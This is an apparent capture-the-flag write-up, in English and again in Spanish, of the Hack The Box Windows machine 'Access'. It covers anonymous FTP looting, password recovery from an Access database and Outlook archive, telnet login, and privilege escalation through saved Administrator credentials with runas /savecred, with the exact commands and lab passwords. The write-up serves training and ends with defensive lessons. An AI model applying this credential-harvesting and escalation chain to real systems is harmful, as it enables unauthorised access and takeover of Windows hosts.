Access
Executive summary — Access is an Easy Windows box of pure file forensics: an anonymous FTP exposes a Microsoft Access database (.mdb) and a ZIP; the
.mdbyields the ZIP password, and inside the ZIP is an Outlook mail file (.pst) withsecurity's password. We log in via telnet, and escalation uses saved Administrator credentials (runas /savecred). A FTP → mdb/pst → telnet → runas → Admin path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.42 |
Attack map
[80] HTTP — static site, no functionality (not the vector)
│
[21] anonymous FTP → backup.mdb (Access DB) + «Access Control.zip»
│ mdbtools → ZIP password (access4u@security)
│ the ZIP contains a .pst (Outlook) → readpst → «security» password
▼
[23] telnet as security (user.txt)
│ cmdkey /list → SAVED Administrator credentials
▼
[ADMIN] runas /savecred /user:Administrator
1. Reconnaissance
The target has an internal domain name (access.htb). Even though the bare IP already works, it's good practice to map it in /etc/hosts in case any service depends on the Host: header:
echo "10.129.23.42 access.htb" | sudo tee -a /etc/hosts
With the domain resolving, we run a port scan with service detection and default scripts:
nmap -sC -sT -sV access.htb
What we're looking for: which services are open, whether there are weak configurations (anonymous logins, outdated banners), and possible entry vectors.
| Port | Service | Observation |
|---|---|---|
| 21 | FTP | Anonymous login allowed |
| 23 | Telnet | Remote access — interesting, cleartext |
| 80 | HTTP | Basic web |
Resumen ejecutivo — Access es una Windows Easy de puro análisis forense de ficheros: un FTP anónimo expone una base de datos Access (.mdb) y un ZIP; de la
.mdbsale la contraseña del ZIP, dentro del ZIP hay un correo de Outlook (.pst) con la contraseña desecurity. Se entra por telnet, y la escalada usa credenciales de Administrator guardadas (runas /savecred). Recorrido FTP → mdb/pst → telnet → runas → Admin.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.42 |
Mapa del ataque
[80] HTTP — web estática, sin funcionalidad (no es el vector)
│
[21] FTP anónimo → backup.mdb (base Access) + «Access Control.zip»
│ mdbtools → contraseña del ZIP (access4u@security)
│ el ZIP contiene un .pst (Outlook) → readpst → contraseña de «security»
▼
[23] telnet como security (user.txt)
│ cmdkey /list → credenciales de Administrator GUARDADAS
▼
[ADMIN] runas /savecred /user:Administrator
1. Reconocimiento
El objetivo tiene un nombre de dominio interno (access.htb). Aunque la IP sola ya funciona, es buena práctica mapearlo en /etc/hosts por si algún servicio depende de la cabecera Host::
echo "10.129.23.42 access.htb" | sudo tee -a /etc/hosts
Con el dominio resuelto, lanzamos un escaneo de puertos con detección de servicios y scripts por defecto:
nmap -sC -sT -sV access.htb
Qué buscamos: qué servicios están abiertos, si hay configuraciones débiles (login anónimo, banners desactualizados) y posibles vectores de entrada.
| Puerto | Servicio | Observación |
|---|---|---|
| 21 | FTP | Permite login anónimo |
| 23 | Telnet | Acceso remoto — interesante, texto plano |
| 80 | HTTP | Web básica |
2. Web enumeration — a dead end
We visit http://access.htb: just a static page, no functionality or forms. We brute-force hidden paths:
gobuster dir -u http://access.htb -w /usr/share/wordlists/dirb/common.txt
A few directories show up, but they're either inaccessible or contain nothing useful. Conclusion: the web isn't this box's entry point; port 80 is a red herring, and the real vector lies elsewhere.
3. Anonymous FTP — the real entry point
The scan showed FTP allows anonymous access. We connect with empty/generic credentials:
ftp 10.129.23.42 # anonymous / anonymous
Critical detail: before downloading anything we switch to binary mode. Without it, the FTP client transfers in text (ASCII) mode and translates line endings, which corrupts binary files such as an
.mdbdatabase or a.zip.
binary
Browsing the server we find two folders, Backups and Engineer, each holding a file of interest:
cd Backups
get backup.mdb
cd ../Engineer
get "Access Control.zip"
4. Access database (.mdb) → ZIP password
The .mdb is a Microsoft Access database. We read it with mdbtools, the standard Linux tool for this proprietary format:
sudo apt install mdbtools -y
mdb-tables backup.mdb
Of the tables listed,
auth_useris the most promising: it typically stores the application's authentication credentials.
mdb-export backup.mdb auth_user
access4u@security
The user@something shape looks like a username, but it's actually the full password for the next link in the chain: the ZIP.
5. Protected ZIP → extracting the .pst
unzip "Access Control.zip"
It's password-protected. We try the one we just found in the database — password reuse across systems, a common pattern in boxes like this one:
unzip "Access Control.zip" # password: access4u@security
# → Access Control.pst
6. Outlook mail (.pst) → security's password
A .pst is an Outlook mail archive. We convert it with readpst (the pst-utils package) to read the messages:
sudo apt install pst-utils -y
readpst "Access Control.pst"
One of the emails contains real system credentials, in plain text — another example of secrets stored where they shouldn't be:
Usuario: security
Password: 4Cc3ssC0ntr0ller
7. Initial access (telnet) and user flag
telnet 10.129.23.42
# login: security / 4Cc3ssC0ntr0ller
cd Desktop
type user.txt
8. Internal enumeration — saved credentials
With a shell as security, we look for ways to escalate privileges. A useful first step on Windows is checking the system's credential store:
cmdkey /list
Target: Domain:interactive=ACCESS\Administrator
What this means: Windows lets you save credentials to reuse them without re-entering the password (Credential Manager). The system has saved Administrator credentials — exactly what we're going to abuse.
9. Privilege escalation — runas /savecred
With runas and the /savecred flag we run commands as Administrator without knowing the password, because Windows reuses it from the store we just found:
runas /noprofile /savecred /user:Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\flag.txt"
runas→ runs the following command as another user./savecred→ uses the credentials saved in Credential Manager, no password prompt.cmd.exe /C→ runs the given command and exits.type root.txt > flag.txt→ copies the root flag's content into a filesecuritycan actually read.
10. Root flag
type C:\Users\security\Desktop\flag.txt # root flag
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | Anonymous FTP | Sensitive files (.mdb, .zip) accessible without authentication | Password for the protected ZIP |
| Info leak | Access database (.mdb) | ZIP password stored in plaintext in a table | Extraction of the .pst |
| Info leak | Outlook mail (.pst) | security's credentials in plaintext in an email | Valid password for telnet |
| Foothold | Telnet | Cleartext protocol + reused credentials | Shell as security |
| PrivEsc | Windows Credential Manager | Saved Administrator credentials (runas /savecred) | Execution as Administrator |
Lessons learned
- Don't ignore anonymous FTP: even though it looks like a minor service, it can hold critical information other services don't expose.
- Internal files are gold: a leaked
.mdbdatabase or.pstmail file can carry credentials as valid as a direct breach. - Don't reuse secrets across systems: the same password opened the ZIP and, in practice, was part of the chain to a system user.
- Windows stores credentials:
cmdkey /listcan reveal privileged access that doesn't even need cracking — just reuse. runas /savecredis a direct escalation path whenever a more privileged user's credentials are saved on the system.- Telnet is cleartext: use SSH; any credential sent over telnet is only as safe as not encrypting it at all.
2. Enumeración web — un callejón sin salida
Visitamos http://access.htb: solo hay una página estática, sin funcionalidad ni formularios. Buscamos rutas ocultas por fuerza bruta:
gobuster dir -u http://access.htb -w /usr/share/wordlists/dirb/common.txt
Aparecen algunos directorios, pero no son accesibles o no contienen nada útil. Conclusión: la web no es el punto de entrada de esta máquina; el puerto 80 es un cebo, y el vector real está en otro sitio.
3. FTP anónimo — el punto de entrada real
El escaneo mostró que el FTP admite acceso anónimo. Nos conectamos con credenciales vacías/genéricas:
ftp 10.129.23.42 # anonymous / anonymous
Detalle crítico: antes de descargar nada activamos el modo binario. Sin él, el cliente FTP transfiere en modo texto (ASCII) y traduce saltos de línea, lo que corrompe ficheros binarios como una base de datos
.mdbo un.zip.
binary
Explorando el servidor encontramos dos carpetas, Backups y Engineer, cada una con un fichero de interés:
cd Backups
get backup.mdb
cd ../Engineer
get "Access Control.zip"
4. Base de datos Access (.mdb) → contraseña del ZIP
El .mdb es una base de datos de Microsoft Access. La leemos con mdbtools, la herramienta estándar en Linux para este formato propietario:
sudo apt install mdbtools -y
mdb-tables backup.mdb
De las tablas listadas,
auth_useres la que más promete: suele guardar credenciales de autenticación de la aplicación.
mdb-export backup.mdb auth_user
access4u@security
El formato usuario@algo parece un usuario, pero en realidad es la contraseña completa del siguiente eslabón: el ZIP.
5. ZIP protegido → extracción del .pst
unzip "Access Control.zip"
Está protegido con contraseña. Probamos la que acabamos de encontrar en la base de datos — reutilización de secretos entre sistemas, un patrón habitual en máquinas de este tipo:
unzip "Access Control.zip" # password: access4u@security
# → Access Control.pst
6. Correo de Outlook (.pst) → contraseña de security
Un .pst es un archivo de almacén de correo de Outlook. Lo convertimos con readpst (paquete pst-utils) para poder leer los mensajes:
sudo apt install pst-utils -y
readpst "Access Control.pst"
Dentro de uno de los correos hay credenciales reales del sistema, en texto plano — otro ejemplo de secretos guardados donde no deberían estar:
Usuario: security
Password: 4Cc3ssC0ntr0ller
7. Acceso inicial (telnet) y user flag
telnet 10.129.23.42
# login: security / 4Cc3ssC0ntr0ller
cd Desktop
type user.txt
8. Enumeración interna — credenciales guardadas
Ya con una shell como security, buscamos formas de escalar privilegios. Un primer paso útil en Windows es revisar el almacén de credenciales del sistema:
cmdkey /list
Target: Domain:interactive=ACCESS\Administrator
Qué significa esto: Windows permite guardar credenciales para reutilizarlas sin volver a pedir la contraseña (Credential Manager). El sistema tiene credenciales de Administrator guardadas — exactamente lo que vamos a abusar.
9. Escalada de privilegios — runas /savecred
Con runas y la opción /savecred ejecutamos comandos como Administrator sin conocer su contraseña, porque Windows la reutiliza del almacén que acabamos de encontrar:
runas /noprofile /savecred /user:Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\flag.txt"
runas→ ejecuta el comando siguiente como otro usuario./savecred→ usa las credenciales guardadas del Credential Manager, sin pedir contraseña.cmd.exe /C→ ejecuta el comando indicado y termina.type root.txt > flag.txt→ copia el contenido de la flag de root a un fichero quesecuritysí puede leer.
10. Root flag
type C:\Users\security\Desktop\flag.txt # root flag
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | FTP anónimo | Ficheros sensibles (.mdb, .zip) accesibles sin autenticación | Contraseña del ZIP protegido |
| Info leak | Base de datos Access (.mdb) | Contraseña de un ZIP almacenada en texto plano en una tabla | Extracción del .pst |
| Info leak | Correo Outlook (.pst) | Credenciales de security en texto plano en un correo | Contraseña válida para telnet |
| Foothold | Telnet | Protocolo en claro + credenciales reutilizadas | Shell como security |
| PrivEsc | Credential Manager de Windows | Credenciales de Administrator guardadas (runas /savecred) | Ejecución como Administrator |
Lecciones aprendidas
- No ignores el FTP anónimo: aunque parezca un servicio menor, puede contener información crítica que otros servicios no exponen.
- Los ficheros internos son oro: una base de datos
.mdbo un correo.pstfiltrado pueden contener credenciales tan válidas como una brecha directa. - No reutilices secretos entre sistemas: la misma contraseña abría el ZIP y, en la práctica, formaba parte de la cadena hasta el usuario del sistema.
- Windows guarda credenciales:
cmdkey /listpuede revelar accesos con privilegios que ni siquiera hace falta "crackear" — solo reutilizar. runas /savecred= escalada directa si hay credenciales de un usuario más privilegiado guardadas en el sistema.- Telnet va en claro: usa SSH; cualquier credencial que viaje por telnet es tan segura como no cifrarla.